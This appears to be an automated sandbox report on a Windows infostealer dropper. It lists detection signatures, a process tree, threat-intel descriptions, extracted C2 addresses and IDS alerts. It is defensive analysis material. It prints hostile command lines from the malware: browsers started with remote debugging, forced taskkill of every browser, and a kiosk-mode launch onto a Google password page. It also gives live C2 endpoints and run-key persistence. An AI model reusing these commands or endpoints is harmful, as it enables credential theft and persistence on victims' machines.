Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562948
MD5:	e7423cd132a8b0550213c0fb9175ae31
SHA1:	378d1048fecb53673ea33b910ae2d8ae08e578a5
SHA256:	a80a31d0c26650521c50df60611832e214a9fde86a8eae0ca3d05356ae9e0e63
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E7423CD132A8B0550213C0FB9175AE31)

chrome.exe (PID: 6664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2128,i,4747285852145405260,18208468525557755224,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8080 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7724 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2316,i,4353943364485129938,16843632681257069434,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8736 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJEHJKJEBGH.exe (PID: 8648 cmdline: "C:\Users\user\DocumentsJEHJKJEBGH.exe" MD5: B136D71B7374063413830DB122AEDE59)

skotes.exe (PID: 8920 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B136D71B7374063413830DB122AEDE59)

msedge.exe (PID: 7808 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7584 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8408 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8488 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3368 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8160 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B136D71B7374063413830DB122AEDE59)

vg9qcBa.exe (PID: 1628 cmdline: "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe" MD5: 20160349422AEB131ED9DA71A82EB7AB)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vg9qcBa.exe (PID: 8088 cmdline: "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe" MD5: 20160349422AEB131ED9DA71A82EB7AB)

c2fcbf308b.exe (PID: 8264 cmdline: "C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe" MD5: B4DE34DCC96D16EC82F6FA3A7D037D4F)

684030933f.exe (PID: 6292 cmdline: "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe" MD5: C0027647C26AF68B744A4BE6494BDEBD)

27ee25f0d2.exe (PID: 8688 cmdline: "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe" MD5: E7423CD132A8B0550213C0FB9175AE31)

ddf08f7f32.exe (PID: 4308 cmdline: "C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe" MD5: 402239D87CBFB0A1F3CDF2D641A32B32)

taskkill.exe (PID: 6008 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2364 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5736 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5832 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6468 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 9088 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

34712696d0.exe (PID: 4480 cmdline: "C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe" MD5: EAA89CB86D24875D5F654023B97A448B)

684030933f.exe (PID: 2452 cmdline: "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe" MD5: C0027647C26AF68B744A4BE6494BDEBD)

firefox.exe (PID: 5580 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3560 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6832 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2080 -prefMapHandle 2072 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {484a36b3-2a89-4a08-a639-b417ce94df6f} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1faaa86f510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6696 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -parentBuildID 20230927232528 -prefsHandle 4148 -prefMapHandle 4176 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c8c871-2cfb-474a-ac2a-440281b973b6} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1fabd52d810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

27ee25f0d2.exe (PID: 8224 cmdline: "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe" MD5: E7423CD132A8B0550213C0FB9175AE31)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://occupy-blushi.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.2648360927.0000000000621000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3156216990.0000000000C31000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002F.00000003.3254467296.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.3293398969.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2680309416.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2689867502.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.3106886868.0000000005600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2020653471.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002F.00000002.3294805901.0000000000C31000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2569760709.00000000008B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2636957291.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2561753218.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3440	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 684030933f.exe PID: 6292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 684030933f.exe PID: 6292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 684030933f.exe PID: 6292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 27ee25f0d2.exe PID: 8688	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 27ee25f0d2.exe PID: 8688	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 684030933f.exe PID: 2452	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 684030933f.exe PID: 2452	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ddf08f7f32.exe PID: 4308	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 27ee25f0d2.exe PID: 8224	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 27ee25f0d2.exe PID: 8224	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.skotes.exe.ad0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.ad0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsJEHJKJEBGH.exe.620000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8160, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\684030933f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3440, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6664, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8160, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\684030933f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:08:59.734278+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	20.189.173.22	443	TCP
2024-11-26T10:10:14.760664+0100	2028371	3	Unknown Traffic	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:16.813763+0100	2028371	3	Unknown Traffic	192.168.2.5	49980	104.21.10.6	443	TCP
2024-11-26T10:10:36.312718+0100	2028371	3	Unknown Traffic	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:38.391513+0100	2028371	3	Unknown Traffic	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:41.318275+0100	2028371	3	Unknown Traffic	192.168.2.5	50047	104.21.7.169	443	TCP
2024-11-26T10:10:44.249035+0100	2028371	3	Unknown Traffic	192.168.2.5	50053	104.21.7.169	443	TCP
2024-11-26T10:10:47.253121+0100	2028371	3	Unknown Traffic	192.168.2.5	50061	104.21.7.169	443	TCP
2024-11-26T10:10:51.371501+0100	2028371	3	Unknown Traffic	192.168.2.5	50077	104.21.7.169	443	TCP
2024-11-26T10:10:51.728222+0100	2028371	3	Unknown Traffic	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:10:54.068189+0100	2028371	3	Unknown Traffic	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:10:54.795672+0100	2028371	3	Unknown Traffic	192.168.2.5	50090	104.21.7.169	443	TCP
2024-11-26T10:10:57.419499+0100	2028371	3	Unknown Traffic	192.168.2.5	50101	104.21.7.169	443	TCP
2024-11-26T10:11:01.503530+0100	2028371	3	Unknown Traffic	192.168.2.5	50111	104.21.7.169	443	TCP
2024-11-26T10:11:02.177571+0100	2028371	3	Unknown Traffic	192.168.2.5	50116	104.21.7.169	443	TCP
2024-11-26T10:11:17.533614+0100	2028371	3	Unknown Traffic	192.168.2.5	50159	104.21.7.169	443	TCP
2024-11-26T10:11:26.614048+0100	2028371	3	Unknown Traffic	192.168.2.5	50177	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:15.804342+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:37.100172+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:39.385904+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:52.466102+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:10:55.098803+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:11:02.528434+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50111	104.21.7.169	443	TCP
2024-11-26T10:11:18.244919+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50159	104.21.7.169	443	TCP
2024-11-26T10:11:27.367884+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50177	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:15.804342+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:37.100172+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:52.466102+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:11:18.244919+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50159	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:39.385904+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:55.098803+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:11:27.367884+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50177	104.21.7.169	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:15.137277+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49973	185.215.113.43	80	TCP
2024-11-26T10:10:28.033447+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50007	185.215.113.43	80	TCP
2024-11-26T10:10:36.634820+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50033	185.215.113.43	80	TCP
2024-11-26T10:10:45.785161+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50056	185.215.113.43	80	TCP
2024-11-26T10:10:52.999319+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50082	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T10:10:55.502716+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:56.111468+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:56.611033+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:57.126437+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50091	34.116.198.130	80	TCP
